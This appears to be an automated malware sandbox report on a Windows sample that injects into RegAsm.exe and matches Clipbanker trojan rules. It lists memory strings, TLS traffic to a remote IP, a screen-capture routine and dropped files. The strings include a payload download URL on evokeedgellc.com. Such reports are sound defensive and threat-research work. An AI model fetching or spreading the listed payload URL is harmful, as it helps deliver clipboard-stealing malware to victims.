Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EHJKFCGH.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EHJKFCGH.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EHJKFCGH.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe0.phproductions
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe00Start0mJIG
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exea8bb34fdbdd4d3db445370cf35c70f2b9e8e.
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exeg
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exeq
Source: GCGIDGCGIEGDGDGDGHJK.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://support.mozilla.org
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: EHJKFCGH.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/YXOhGSsdK.exe
Source: RegAsm.exe	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ZGEdMbExihlYXOhGSsdK.exe
Source: IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown

HTTPS traffic detected: 198.54.120.231:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418AB0 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00418AB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.JKJDAEBFCB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 5.2.JKJDAEBFCB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 9.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 192000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C95ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	2_2_6C95ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C99B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C99B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C99B8C0 rand_s,NtQueryVirtualMemory,	2_2_6C99B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C99B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6C99B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C93F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C93F280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9335A0	2_2_6C9335A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C946C80	2_2_6C946C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9934A0	2_2_6C9934A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C99C4A0	2_2_6C99C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C95D4D0	2_2_6C95D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9464C0	2_2_6C9464C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C976CF0	2_2_6C976CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C93D4E0	2_2_6C93D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C975C10	2_2_6C975C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C982C10	2_2_6C982C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9AAC00	2_2_6C9AAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A542B	2_2_6C9A542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A545C	2_2_6C9A545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C945440	2_2_6C945440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C970DD0	2_2_6C970DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9985F0	2_2_6C9985F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C960512	2_2_6C960512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C95ED10	2_2_6C95ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C94FD00	2_2_6C94FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C955E90	2_2_6C955E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C99E680	2_2_6C99E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C994EA0	2_2_6C994EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C93BEF0	2_2_6C93BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C94FEF0	2_2_6C94FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A76E3	2_2_6C9A76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C977E10	2_2_6C977E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C985600	2_2_6C985600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C999E30	2_2_6C999E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C959E50	2_2_6C959E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C973E50	2_2_6C973E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C954640	2_2_6C954640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C982E4E	2_2_6C982E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C93C670	2_2_6C93C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A6E63	2_2_6C9A6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9877A0	2_2_6C9877A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C966FF0	2_2_6C966FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C93DFE0	2_2_6C93DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C977710	2_2_6C977710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C949F00	2_2_6C949F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9660A0	2_2_6C9660A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A50C7	2_2_6C9A50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C95C0E0	2_2_6C95C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9758E0	2_2_6C9758E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C947810	2_2_6C947810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C97B820	2_2_6C97B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C984820	2_2_6C984820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C958850	2_2_6C958850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C95D850	2_2_6C95D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C97F070	2_2_6C97F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C975190	2_2_6C975190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C992990	2_2_6C992990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C96D9B0	2_2_6C96D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C93C9A0	2_2_6C93C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C95A940	2_2_6C95A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C98B970	2_2_6C98B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9AB170	2_2_6C9AB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C94D960	2_2_6C94D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9ABA90	2_2_6C9ABA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C94CAB0	2_2_6C94CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A2AB0	2_2_6C9A2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9322A0	2_2_6C9322A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C964AA0	2_2_6C964AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C978AC0	2_2_6C978AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C951AF0	2_2_6C951AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C97E2F0	2_2_6C97E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C979A60	2_2_6C979A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C93F380	2_2_6C93F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9A53C8	2_2_6C9A53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C97D320	2_2_6C97D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C935340	2_2_6C935340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C94C370	2_2_6C94C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9DECC0	2_2_6C9DECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA3ECD0	2_2_6CA3ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CABAC30	2_2_6CABAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAA6C00	2_2_6CAA6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9EAC60	2_2_6C9EAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9E4DB0	2_2_6C9E4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA76D90	2_2_6CA76D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB6CDC0	2_2_6CB6CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB68D20	2_2_6CB68D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAAED70	2_2_6CAAED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB0AD50	2_2_6CB0AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA66E90	2_2_6CA66E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9EAEC0	2_2_6C9EAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA80EC0	2_2_6CA80EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAC0E20	2_2_6CAC0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA7EE70	2_2_6CA7EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB28FB0	2_2_6CB28FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9EEFB0	2_2_6C9EEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CABEFF0	2_2_6CABEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9E0FE0	2_2_6C9E0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C9E6F10	2_2_6C9E6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB20F20	2_2_6CB20F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAA2F70	2_2_6CAA2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA4EF40	2_2_6CA4EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAE68E0	2_2_6CAE68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA30820	2_2_6CA30820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA6A820	2_2_6CA6A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAB4840	2_2_6CAB4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA709A0	2_2_6CA709A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA9A9A0	2_2_6CA9A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAA09B0	2_2_6CAA09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CAFC9E0	2_2_6CAFC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA149F0	2_2_6CA149F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA36900	2_2_6CA36900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA18960	2_2_6CA18960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA5EA80	2_2_6CA5EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA98A30	2_2_6CA98A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA8EA00	2_2_6CA8EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA5CA70	2_2_6CA5CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA80BA0	2_2_6CA80BA0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\JKJDAEBFCB.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CB609D0 appears 109 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C96CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C9794D0 appears 90 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.1689287561.000000000094E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.1685517689.0000000000314000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exeX vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exeX vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.JKJDAEBFCB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
